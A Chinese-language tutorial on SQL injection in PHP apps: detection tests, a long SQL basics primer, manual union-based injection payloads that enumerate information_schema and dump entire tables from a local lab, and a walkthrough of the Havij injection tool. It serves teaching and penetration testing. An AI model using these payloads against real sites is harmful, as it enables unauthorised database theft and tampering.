一文读懂 SQL 注入
一次性进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:460500587
微信公众号:计算机与网络安全
ID:Computer-network
本文将介绍SQL注入的各个方面,并辅以PHP脚本语言为例,从SQL注入漏洞形成的原因,SQL注入漏洞的分类,靶机环境搭建,SQL注入漏洞如何利用,SQL注入的工具的介绍和使用方法,由浅入深,帮助大家更加深入的了解SQL注入!
SQL注入在Web安全领域中,可以说是无人不知,无人不晓,哪怕是再没有接触过Web安全的程序员,都多少对这个词有所耳闻,它是目前被利用得最多的漏洞。
不论是大公司,还是中小公司,绝大多数都被爆出过SQL注入的漏洞,可见SQL注入的影响范围非常广,从WAF拦截情况来看,它的攻击次数差不多占到了总攻击拦截的三分之一左右,可见SQL注入攻击量非常大。
其实SQL注入漏洞的原理非常简单,但是对于不了解Web安全的程序员来说,还是比较头疼的,绝大多数开发业务的程序员只有个概念性认识,具体细节理解得模糊不清,故在此将做一个详细的、接地气的讲解,帮助普通程序员也能够很轻松地了解SQL注入的原理,并在实际的业务开发中能够规避SQL注入的问题,写出更加安全的代码!
SQL注入的原因并没有想象中那么复杂,简而言之就是由于程序员在开发Web业务逻辑的时候,没有对传入的外部可控参数进行安全过滤,直接拼接到了SQL语句中,导致数据库引擎被注入了恶意的SQL命令。
根据SQL注入的不同的方式,可以将SQL注入分别普通注入,编码注入,报错注入,盲注,延时注入等五种,当然还有其他的分类方式,比如根据传入的参数类型分为数字型与字符型。
一、SQL注入的检验方法
那么如何判断是否存在SQL注入呢?下面以PHP举个最简单的例子来说明。
正常的情况:
这里的 1 就是“外部可控参数”,如果恶意用户在URL地址栏中传入的参数不是 1,而是其他的字符,如 1 and 1=1 或者 1 and 1=2,那么传入的参数也会发生相应的改变, 导致最后形成的SQL语句变成了 "select id,name from user where id=1 and 1=1"或者"select id,name from user where id=1 and 1=2",那么该恶意的注入命令就被拼入了SQL语句中,等待被数据库引擎执行,一旦数据库执行该SQL语句,即可判断是否存在SQL注入漏洞,如下图所示:
当传入参数为 1 and 1=1 时,和传入参数为 1 时返回的结果相同。
语句1:
select id,name from user where id=1
语句2:
select id,name from user where id=1 and 1=1
原因:由于 1=1 为恒真,所以语句1 和语句2 是等价的。
当传入参数为 1 and 1=2时,和传入参数为 1 时返回的结果不同。
语句1:
select id,name from user where id=1
语句3:
select id,name from user where id=1 and 1=2
原因:由于1=2为恒假,所以语句3 返回的查询数据为空。
上面的例子详细剖析了判断是否存在SQL注入的方法,通过拼接 and 1=1 和 and 1=2 到提交参数中,当然这是一个最简单的方法,因为这里的是传入的是整数型,如果传入是字符串的话,那么拼接参数可以调整为 ' and 'a'='a 和 ' and 'a'='b 。
我们继续来举例来说明字符串的情况:
正常情况:
这里传入的参数为zhangsan,如果我们修改传入的字符为' and 'a'='a 和 ' and 'a'='b 的话,我们一起来看下执行结果。
当传入参数为 ' and 'a'='a 时,执行结果如下:
和传入参数为 zhangsan 时返回的结果相同。
语句1:
select id,name from user where name='zhangsan'
语句2:
select id,name from user where name='zhangsan' and 'a'='a'
当传入参数为 ' and 'a'='b 时,执行结果如下:
和传入参数为 zhangsan 时返回的结果不同。
语句1:
select id,name from user where name='zhangsan'
语句3:
select id,name from user where name='zhangsan' and 'a'='b'
另外在上面的例子,演示了get请求,post请求两种最为常见的请求方式,其实cookie请求都是一样的,如果上面的例子中对$_GET['id']进行intval()处理的话,那么是完全可以避免SQL注入的问题。
二、SQL注入的危害
由于SQL注入是直接针对数据库进行攻击,所以它的危害是不言而喻。
数据库危害包括:
(1)脱库(直接盗取所有的数据)
(2)篡改数据(修改任意数据表中的数据)
Web服务器危害包括:
(1)在权限较大的情况下,可以直接写入webshell,或者执行系统命令。
(2)在权限较小的情况下,也可以猜解到用户数据表,并且爆破出用户密码。
权限较大是指以下情况:
(1)当前的数据库用户拥有root或类似root的权限。
(2)当前的数据库用户拥有file权限,并且已经知道了web服务器的web根目录下的可写路径。
三、SQL注入靶机环境的搭建
靶机环境的搭建,基于简单、易用的原则,所以建议新手在Windows下安装集成环境包,这里是以PHP脚本为例,推荐使用PHPstudy集成环境安装包!
该程序包集成最新的Apache+Nginx+LightTPD+PHP+MySQL+phpMyAdmin+Zend Optimizer+Zend Loader,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境。该程序绿色小巧简易迷你仅有32M,有专门的控制面板。总之学习PHP只需一个包。
对学习PHP的新手来说,Windows下环境配置是一件很困难的事;对老手来说也是一件烦琐的事。因此无论你是新手还是老手,该程序包都是一个不错的选择。
全面适合 Win2000/XP/2003/Win7/Win8/Win10/Win2008 操作系统 ,支持Apache、IIS、Nginx和LightTPD。
接下来,我们一步一步地搭建靶机环境:
(1)首先到官方网站下载软件,下载地址:http://www.phpstudy.net,目前最新的版本是2018版。
(2)解压压缩包,然后双击phpStudySetup.exe安装程序,开始自动安装。
(3)双击安装好的程序,单击“启动”,自动启动nginx+Mysql服务器。
(4)在web根目录下面,开始写PHP代码来做测试,靶机环境搭建成功!
注意:该环境包支持不同的服务器(apache,nginx,iis)和不同的PHP版本(5.2,5.3,5.4,5.5,5.6,7.0),所以方便我们后期针对不同的PHP版本做测试!
四、SQL基础
1、SQL简介
(1)什么是SQL?
SQL指结构化查询语句;
SQL使我们能访问数据库;
SQL是一种ANSI(美国国家标准化组织)的标准计算机语言。
(2)SQL能做什么?
面向数据库执行查询
从数据库中取出数据
向数据库插入新的记录
更新数据库中数据
从数据库删除记录
创建数据库
创建表
创建存储过程
创建视图
设置表、存储过程和视图的权限
(3)RDBMS
RDBMS是指关系型数据库管理系统。
RDBMS是SQL的基础,同样也是所有现代数据库系统的基础,如MS SQL Server、IBM DB2、Oracle、MySQL以及Microsoft Access。
RDBMS中的数据存储在被称为表的数据库对象中表是相关的数据项的集合,它由列和行组成。
2、SQL语法
SQL对大小写不敏感。
(1)SQL语句后面的分号
某些数据库系统要求在每条SQL命令的末端使用分号。
分号是在数据库系统中分隔每条SQL语句的标准方法,这样就可以在服务器的相同请求中执行一条以上的语句。
如果使用的是MS Access和SQL Server,则不必在每条SQL语句之后使用分号,不过某些数据库要求必须使用分号。
(2)SQL DML和DDL
可以把SQL分为两个部分:数据操作语言(DML)和数据库定义语言(DDL)。
SQL(结构化查询语句)适用于执行查询的语法。但是SQL语言也包含用于更新、插入和删除记录的语法。查询和更新构成了SQL的DML部分:select、update、delete、insert into 。
数据库定义语言(DDL)部分使我们有能力创建或删除表,我们也可以定义索引(键),规定表之间的连接,以及事假表间的约束:
Create database、alert database、create table、alert table、drop table、create index、drop index
3、Select查询
User表里面的数据如下:
查询user表里面的user_name字段和user_age字段的所有数据:
select user_name,user_age from user
查询user表中所有的字段数据,用 * 表示所有列的名称:
select * from user
4、Distinct
Distinct选取所有的值的时候不会出现重复的数据,用普通的查询,查询所有:
select * from user
select distinct user_name,user_age from user
注意:不能有user_id,因为两个Mary的user_id不一样,加上就不算相同数据。
5、Where
(1)查询user_id等于1 的数据
select * from user where user_id = 1
(2)查询user_age大于等于12的数据
select * from user where user_age >=12
(3)查询user_age不等于12的数据
select * from user where user_age <> 12
6、ADN 和 OR
And和or在where子语句中把两个或多个条件结合起来。如果需要两个条件都成立就是用and,如果只需要其中一个条件成立就使用or:
select * from user where user_name = 'mary' and user_age = 12
需要注意的是SQL使用单引号来环绕文本值,如果是数值则不需要引号。
select * from user where user_name='mary' or user_age =13
结合and和or使用圆括号来组成复杂的表达式:
select * from user where (user_name = 'mary' and user_age = 12) or(user_age =13)
7、Order by
(1)对指定列进行升序排列
select * from user order by user_name
(2)按照user_id逆序排列
select * from user order by user_id DESC
(3)按照升序排列user_id逆序排列user_age
SELECT * FROM user order by user_id ASC,user_age DESC
(4)按照升序排列user_id逆序排列user_age
SELECT * FROM user order by user_age DESC,user_id ASC
注意:前面的条件优先级更高!
8、Insert
User表:
插入一行数据 user_id为2 user_name为tom,user_age为12。
注意:如果每一项都有插入的话就不需要在前面列出列名!
insert into user values(2,'tom',12)
新插入一行数据,只要求user_name为eva:
insert into user(user_name) values('eva')
注意:因为ID设置为自增,所以user_id不为null。
9、Update
修改user_id为6的数据user_age为14:
update user set user_age=14 where user_id=6
修改user_id为1的数据user_name为ann,user_age为11:
update user set user_name='ann',user_age=11 where user_id=1
10、Delete
User表中的所有数据信息如下:
删除user_age为12的数据:
delete from user where user_age=12
删除表中的所有数据:
delete from user
五、SQL的高级用法
1、Top
Top子句用于返回要返回的记录的数目,但并不是所有的数据库都支持top子句。
(1)SQL Server
select top 5 * from user
(2)MySQL
select * from user limit 5
(3)Oracle
select * from user where ROWNUM <= 5
2、Like
User表的初始数据如下:
(1)找出以li开头的数据
select * from user where user_name like 'li%'
(2)找出以ry结尾的数据
select * from user where user_name like '%ry'
(3)找出含有a的数据
select * from user where user_name like '%a%'
(4)找出第二个字母是a第四个字母是y的数据
select * from user where user_name like '_a_y'
3、通配符
在搜索数据库中的数据的时候SQL通配符可以替代一个或多个字符。SQL通配符必须与like运算符一起使用。
(1)_ 替代一个字符
找出第二个字母是a第四个字母是y的数据:
select * from user where user_name like '_a_y'
(2)% 替代一个或多个字符
找出以ry结尾的数据:
select * from user where user_name like '%ry'
(3)[] 字符列中的任意一个单字符
找出以a或者l开头的数据:
select * from user where user_name like '[al]%'
找出不是a或者l开头的数据:
select * from user where user_name like '[!al]%'
4、In
只要数据满足in里面的一个条件就可以了。
找到user_age是12或者13的数据:
select * from user where user_age in (12,13)
找到user_name是Harry和Mary的数据:
select * from user where user_name IN ('mary','harry')
5、Between
选取两个值之间的数据。
查询年龄在12和14之间的数据:
select * from user where user_age between 12 and 14
查询字母在Alice和John之间的数据:
select * from user where user_name between 'alice' AND'john'
6、Aliases
指定别名
假设我们有两个表分别是user和Room 。我们分别指定他们为u和r。
(1)不使用别名
select room.room_name,user.user_name,user.user_age from user ,room where user.user_age=12 and room.room_id = 1
(2)使用别名
使用别名的时候直接将别名跟在后面,不使用as也可以:
select r.room_name,u.user_name,u.user_age from user as u,room as r where u.user_age=12 and r.room_id = 1
7、Join
数据库中的表可以通过键将彼此联系起来,主键是一个列,在这个列中的每一行的值都是唯一的,在表中,每个主键的值都是唯一的,这样就可以在不重复每个表中的所有数据的情况下,把表间的数据交叉捆绑在一起。
以下为表user和表Room的数据:
(1)引用两个表
找出在Room of boy相关联的用户信息:
select u.user_name,u.user_age,r.room_name from user as u,room as r
where u.room_id = r.room_id and r.room_name='room of boy'
(2)使用关键字join来连接两张表
select u.user_name,u.user_age,r.room_name
from user as u
join room as r
on u.room_id = r.room_id and r.room_name='room of boy'
8、Inner join
Inner join 与 join 用法一致。
Select u.user_name,u.user_age,r.room_name
from user as u
inner join room as r
on u.room_id = r.room_id and r.room_name='room of boy'
9、Left join
注意:左连接以左边的表为主体,也就是说会列出左边的表中的所有的数据,无论它是否满足条件。
(1)user在左边
select u.user_name,u.user_age,r.room_name
from user as u
left join room as r
on u.room_id = r.room_id and r.room_name='room of boy'
(2)Room在左边
select u.user_name,u.user_age,r.room_name
from room as r
left join user as u
on u.room_id = r.room_id and r.room_name='room of boy'
10、Right join
注意:右连接以右边的表为主体,也就是说会列出右边的表中的所有的数据,无论它是否满足条件。
(1)Room在右边
select u.user_name,u.user_age,r.room_name
from user as u
right join room as r
on u.room_id = r.room_id and r.room_name='room of boy'
(2)user在右边
select u.user_name,u.user_age,r.room_name
from room as r
right join user as u
on u.room_id = r.room_id and r.room_name='room of boy'
11、Union
Union操作符用于合并两个或者多个SELECT语句的结果集。
请注意,UNION内部的select语句必须拥有相同数量的列。列也必须拥有相同的数据类型。同时,每条select语句中的列的顺序必须相同。
下面是Room表和color表的数据:
select room_name from room
union
select color_name from color
默认的union选取不同的值,如果想要有相同的值出现就使用union all:
select room_name from room
union all
select color_name from color
12、Create DB
创建数据库mysqltest:
create database mysqltest
13、Create table
create table sqltest(
id int,
name varchar(45),
age int,
salary float,
time Date,
)
14、Constraints
SQL约束,用于限制加入表的数据的类型。
常见约束:not noll、unique、primary key、foreign key、check、default
15、Not null
Not null 约束强制列不接受NULL值。Not null 约束强制字段始终包含值,这意味着,如果不向字段添加值,就无法插入新的字段或者更新记录。
用法,在字段后面加上 not null:
16、Unique
Unique约束唯一标识数据库中的每一条记录。Primary key约束拥有自动的unique约束。需要注意的是,每个表里面可以拥有多个unique约束,但只能有一个primary key约束。
(1)MySQL用法,unique(字段名)
(2)SQL Server 、 Oracle 、 MS Access在字段后面加
(3)命名约束使用constraint
(4)已经创建了表之后需要添加约束
ALTER TABLE sqltest ADD UNIQUE(Age)
(5)给已经创建了的表添加约束并命名
ALTER TABLE sqltest ADD constraint unique_name UNIQUE(Age,salary)
(6)撤销约束
MySQL
在没有给约束命名的情况下(上面的age约束)直接使用字段名就可以了:
ALTER TABLE sqltest DROP INDEX age
删除后:
在约束有名字的情况下,直接使用名字就可以了:
ALTER table sqltest drop index unique_name
删除后:
SQL Server 、 Oracle 、 MS Access
ALTER table 表名 drop constraint 约束名
17、Primary key
Primary key约束唯一标识数据库表中的每一条记录,组件必须包含唯一的值。组件列不能包含NULL值。每个表都应该有一个主键,并且每一个表都只能有一个主键。
(1)在MySQL中的用法
(2)在SQL Server 、 Oracle 和MS Access中的用法
(3)为已经创建成功的表创建primary key约束
alter table sqltest add primary key(id)
(4)为已经创建成功的表添加主键约束,以及为多个列定义主键约束
alter table sqltest add constraint pk_name primary key (id,name)
(5)在MySQL中撤销主键
ALTER TABLE sqltest DROP PRIMARY KEY
删除后:
(6)在SQL Server、Oracle、MS Access中撤销主键
Alter table 表名 drop constraint 主键名
18、Default
Default约束用于向列宗插入默认值。如果没有规定其他值,那么就会将默认值添加到所有的新纪录。
用法:
当表已经存在的时候,添加默认值:
ALTER TABLE sqltest ALTER NAME SET DEFAULT 'tom'
撤销默认值:
19、Drop
通过使用DROP语句,可以删掉索引、表和数据库。
(1)删除索引
Drop index index_name on color
删除后:
(2)删除表
DROP TABLE colorcopy
删除后:
(3)清空表,自增主键清零
TRUNCATE TABLE color
删除后:
(4)删除数据库
DROP DATABASE mysqltest
删除后:
20、Alter
(1)添加列
Alter table user add salary float
(2)删除列
Alter table user drop column room_id
21、Increment
定义主键自增:
22、Null
默认的,表的列可以存放NULL值。如果表里面的某个列是可选的,那么我们可以在不想改列添加值的情况下插入记录或者更新记录,这意味着该字段以NULL值保存。注意,NULL和0是不等价的,不能进行比较。
(1)查询NULL值
select * from user where salary is null
(2)查询非NULL值
select * from user where salary is not null
23、数据类型
MySQL主要有三种类型:文本、数字、日期。
六、SQL常用函数
1、SQL functions
在SQL当中,基本的函数类型和种类有若干种,函数的基本类型是:
合计函数(Aggregate function)和 Scalar函数
Aggregate 函数,函数操作面向一系列的值,并返回一个单一的值。
Scalar 函数,操作面向某个单一的值,并返回基于输入值的一个单一的值。
2、Avg()
求平均年龄:
select avg(user_age) from user
求大于平均年龄的用户:
select * from user where user_age>(Select avg(user_age) from user)
3、Count()
返回列的值的数目(不包含NULL)
注意,可以使用as来给count()取一个别名。
select count(user_id) from user
select count(salary) from user
返回值不同的有多少:
select count(distinct user_name) from user
查询所有列:
select count(*) from user
4、Max()
返回最大值,NULL不包括在计算中。
select max(price) as max_price from commodity
5、Min()
返回最小值,NULL不包括在计算中。
select min(salary) poor_man from user
6、Sum()
返回该列值的总额:
select sum(salary) from user
7、Group By
用于结合合计函数,根据一个或多个列对结果集进行分组。
SELECT cname,SUM(price) FROM commodity GROUP BY cname
8、Having
在SQL中增加having子句的原因是where不能与合计函数一起使用。用法和where 一样。
SELECT cname,SUM(price) FROM commodity
GROUP BY cname
HAVING SUM(price)>20
9、Ucase()
把函数字段的值转化为大写。
SELECT UCASE(user_name) FROM user
10、Lcase()
将函数字段转化为小写。
select lcase(user_name) from user
11、Mid()
从文本字段中提取字符。
select mid(user_name,2,2) from user
12、Round()
Round函数把数值字段舍入为指定的小数位数。
select round(salary,2) from user
13、Now()
返回当前时间:
SELECT NOW() FROM user
七、普通注入详解
普通注入是指最简单的SQL注入漏洞,比如就跟前面的例子一样,外部可控参数没有经过任何安全过滤,直接拼接到SQL语句中,然后传入到数据库引擎执行。
前面的例子中,给出了判断是否有SQL注入漏洞的方法,接下来我们一起来看看如何利用SQL注入漏洞。
在判断存在SQL注入漏洞之后,可以通过 order by关键字和二分法来判断回显位数,然后使用 union关键字来实现联合查询,将敏感信息回显到web页面上,其实普通注入也可以分为数字型和字符型。
正常的外部可控参数:1
正常的SQL语句:
select id,name from user where id=1
加入order by关键字后,修改后外部可控参数:
1 order by 10
修改后SQL语句:
select id,name from user where id=1 order by 10
注意:这里的10是随意设置的,用来猜解SQL语句查询字段的个数,当然你可以设置为10,25等等。
怎么确定查询字段的个数呢?
因为针对一般渗透过程来说,在web页面上浏览,无法看到源码中完整的SQL语句,所以也不知道到底这条查询语句有多少个查询字段?
所以只能依靠猜解和二分法。猜解就是先随意给一个数字,比如你预估有10个字段,那就写成order by 10, 这里会用到一个数据库引擎的特性:
查询字段个数 >= order by后面的数字,那么该SQL语句会执行成功!
相反的,查询字段个数 < order by后面的数字,那么该SQL语句会报错!
接下来我们用上面的例子来说明:
select id,name from user where id=1 order by 1
执行截图:
这条SQL语句的查询字段个数为2(id,name),order by后面的数字为1,由于2>=1,所以该SQL语句执行成功。
相反的,
select id,name from user where id=1 order by 3
执行截图:
这条SQL语句的查询字段个数为2,order by后面的数字为3,由于2<3,所以该SQL语句执行报错。
所以通过上面数据库的特性可以来判断出,该SQL语句到底有几个查询字段。不过这样一个一个地去比较麻烦,在查询字段个数比较多的情况下,比如有20个查询字段,那么就要去尝试很多次,才能判断查询字段个数,有没有一种方法能够,快速判断查询字段的个数呢?
答案是肯定的,这就要利用前面所说的二分法。见名知意,就是把数字范围不断进行二次切分,判断具体数字落在那个区间,然后重复二次切分,直到确认数字大小。
以上面的例子来说明:
第一次尝试猜解的外部可控参数:
1 order by 10
第一次SQL语句:
select id,name from user where id=1 order by 10
执行失败,说明这条SQL语句的个数不足10个。
第二次尝试猜解的外部可控参数:
1 order by 5
第二次SQL语句:
select id,name from user where id=1 order by 5
执行失败,说明这条SQL语句的个数不足5个,但是这里的5是我们通过二分法来重新调整的,原理很简单,查询字段个数肯定在1-5或者6-10之间,先取半值5来做判断,这样一来就可以淘汰一半的数值区间。
第三次外部可控参数:
1 order by 3
第三次SQL语句:
select id,name from user where id=1 order by 3
执行失败,说明这条SQL语句的个数不足3个,但是这里的3也是我们通过二分法来重新调整的,当然这里3也可以换成2,因为只有1,2,3,4四个数字,选2,选3都可以。
第四次外部可控参数:
1 order by 2
第四次SQL语句:
select id,name from user where id=1 order by 2
执行成功,说明查询字段个数就是2。
可见用了4次就可以判断出查询字段的个数,而不用去尝试10次。这就是二分法的使用技巧。
通过order by关键字和二分法猜解到查询字段个数,那么为什么要猜解呢?其实主要是配合后面用union关键字实现联合查询时会用到。
接下来我们要利用查询字段来进行回显,会用到union这个关键字。
重新构造的外部可控参数:
-1 union select 1,2
重新构造的SQL语句:
select id,name from user where id=-1 union select 1,2
执行结果如下:
这里为什么要用-1 union select 1,2这个外部可控参数,其实还有很多的变形,如外部可控参数:1 and 1=2 union select 1,2 也是可以的,只要保证前面select的查询结果为空就可以了,那么为什么要让前面的select查询结果为空呢?
原因很简单,因为我们要让查询字段变成回显字段,这样我们才能在web页面上查看到敏感的回显内容,这里我们只是回显1,2。如下图。
如果前面的select查询结果不为空的话,我们可能是无法查看回显信息的,比如源码中只查询一条数据,例如外部可控参数:
1 union select 1,2
SQL语句:
select id,name from user where id=1 union select 1,2
执行截图:
可见PHP中的fetch()函数只能查询单条记录,然而上面的SQL语言返回的是两条记录,所以只显示第一条记录,没有达到需要回显的效果。
因此在注入利用过程中,最好让前面的select查询结果为空。
那么要是我们把外部可控参数换成-1 union select version(),database(),那么SQL语句就被修改为:
select id,name from user where id=-1 union select version(),database()
执行结果如下:
这样就通过回显字段就把MySQL数据库的版本和当前所在的库名给显示出来了!
到目前为止,我们已经可以通过回显把数据库的敏感信息全部回显到web页面中了。
八、SQL注入的利用
前面详细讲解了如何通过使用order by关键字和union关键字来确定回显字段,下面继续深入讲解如何手工注入脱库!
我们继续修改外部的可控参数:
-1 union select concat(version(),0x23,database(),0x23,version(),0x23),1
那么组合成的SQL语句:
select id,name from user where id=-1 union
select concat(version(),0x23,database(),0x23,user(),0x23),1
执行结果截图:
这里简单说明下:
version() 代表的是:Mysql数据库的版本
database()代表的是:当前数据库名
user() 代表的是:当前数据库用户
另外再介绍几个系统变量:
@@version_compile_os 代表的是:操作系统版本
@@datadir 代表的是:数据库数据(索引,表)的存储位置
@@basedir 代表的是:数据库的安装位置
另外介绍下这里SQL语句中使用到的concat()函数,该函数的作用是将字符串连接起来,类似作用的函数还有concat_ws()。
执行截图:
接下来,讲解如何利用union关键字来查询数据库里的数据。
在介绍之前,先介绍下Mysql在5.0版本之后,都有一个information_schema的系统数据库,这个数据库记录有哪些业务数据库(如test数据库),每个业务数据库中有哪些数据表,每张数据表中包含了哪些字段。
基于上述前提,来我们逐一查询,这里先假定连接Mysql数据库的是root用户,拥有所有权限。
针对数据库来说
外部可控参数:
-1 union select schema_name,1 from information_schema.schemata limit 0,1
完整SQL语句:
select id,name from user where id=-1 union
select schema_name,1 from information_schema.schemata limit 0,1
执行结果:
这里说明下 information_schema数据库中有一张 schemata 数据表,上面记录了所有数据库名,schema_name就是数据库名对应的字段。
数据库名可以通过limit关键字来逐一查询出来,当然我们也可以使用其他更为简洁的方法一次性查出,如下:
外部可控参数:
-1 union select group_concat(schema_name),1 from information_schema.schemata
完整SQL语句:
select id,name from user where id=-1 union
select group_concat(schema_name),1 from information_schema.schemata
执行截图:
这里说明下,group_concat()函数是用来做分组聚合处理的,所以可以一次性查出所有的数据库名。
查询出数据库名之后,接下来我们继续查询数据库test的有哪些数据表!
外部可控参数:
-1 union select group_concat(table_name),1 from information_schema.tables where table_schema='test'
完整SQL语句:
select id,name from user where id=-1 union
select group_concat(table_name),1 from information_schema.tables where table_schema='test'
执行截图:
从上面的图中,可以看到已经将test数据库中的所有的数据表查询出来了,这里说明下: information_schema数据库中有一张 tables 数据表,上面记录了每个数据库对应了哪些数据表,数据表名对应的字段为table_name。
接下来继续查询出test数据库,user数据表中有哪些字段!
外部可控参数:
-1 union select group_concat(column_name),1 from information_schema.columns where table_name='user'
完整SQL语句:
select id,name from user where id=-1 union
select group_concat(column_name),1 from information_schema.columns where table_name='user' and table_schema='test'
执行截图:
从上面的图中,可以看到,已经将test数据库,user数据表中的所有的字段名查询出来了,这里说明下:
information_schema数据库中有一张 columns 数据表,上面记录了每个数据库的每张表对应了哪些字段,字段名对应的字段为column_name。
以上内容就是我们对整个数据库的表结构查询,依此方法,可以查询出任何数据库的任何表中的任何字段。
那么我们得到了这些字段以后,接下来就是要查询具体的数据了。
我们知道具体的数据都是放在数据表里的,然而我们已经知道了库名,表名,字段名,所以查询具体的数据是很轻松的。
外部可控参数:
-1 union select group_concat(concat_ws(0x23,id,name,age)),1 from test.user
完整SQL语句:
select id,name from user where id=-1 union
select group_concat(concat_ws(0x23,id,name,age)),1 from test.user
执行截图:
可以看到,user数据表中的所有的数据都被查询出来了,依此类推,其他所有数据库中的所有数据都可以通过这种方式查询出来,这就是手工注入。
这种手工注入的方法的掌握,需要你比较熟悉数据库的一些特性和函数,当然基于上述的原理,市面上已经开发出来很多自动化注入工具,下面为大家详细介绍一款自动化SQL注入工具,将会大大减少工作量!
九、SQL注入使用的工具
SQL注入工具,市面上有很多种,比较主流的有havij,pangolin,明小子,当然还有比较高级的工具sqlmap,这里作为新手入门,主要讲解下havij,可以在Windows下使用。
havij是一款自动化的SQL注入工具,其界面如下图。
它能够帮助渗透测试人员发现和利用web应用程序的SQL注入漏洞,接下来我们以之前的例子来演示一下它的使用方法:
(1)表示在”target“中填写存在SQL注入的URL地址
(2)点击”Analyze“,表示开始执行SQL扫描
(3)表示检测是哪种数据库类型,包括Mysql,sqlserver,Oracle,Access
(4)选择请求类型,包括POST,GET
(5)判断是数字型还是字符型
根据实际的情况设定好配置选项后,点击"Analyze",该就开始运行扫描了!
运行一会之后,就可以扫描出各种信息,逐一讲解下。首先看”About"
输出结果依次展示了请求ip地址,web服务器信息,PHP版本,数字型注入,Mysql的版本,查询字段个数,当前数据库名等。
选择“Tables",点击"Get DBs",可以完整展示所有的数据库名。
选择“test"数据库,再点击”Get Tables",即可在test数据库下面展示出该库下的所有数据表。
选择“user"数据表,单击”Get Columns",即可在user数据表下面展示出该表的所有字段。
选择“id,name,age"字段,单击”Get Data",即可展示“id,name,age"所对应的所有数据。
当然如果你想保存这些数据表或者数据记录,可以通过单击”Save Tables"或者“Save Data"来进行相应的保存!
工具在很大程度上,帮助渗透人员减少了大量的工作量,能够很方便的把数据库里面的所有数据导出。
手工注入需要你去深入理解SQL注入的原理,工具注入能快速地获取数据库的所有数据。
建议新手不要依赖工具,在熟练掌握手工注入之后,再考虑使用工具注入,才能事半功倍,单靠工具注入是”脚本小子“的行为,注定是走不远的!
微信公众号:计算机与网络安全
ID:Computer-network